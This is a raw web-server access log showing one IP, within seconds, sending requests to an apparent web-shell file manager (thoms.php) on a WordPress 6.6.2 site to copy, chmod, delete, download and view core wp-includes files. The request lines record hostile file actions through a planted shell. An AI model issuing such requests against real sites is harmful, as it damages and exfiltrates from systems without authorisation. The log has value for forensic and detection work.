45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=capabilities.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?chmod=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?del=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?dl=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?dl=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fauthor-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fauthor-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fauthor-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?dl=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?del=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22315 "https://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?del=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22267 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?del=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?del=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22248 "https://163.245.207.76:443/thoms.php?del=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?del=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22106 "https://163.245.207.76:443/thoms.php?del=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?dl=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?chmod=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?chmod=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?del=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
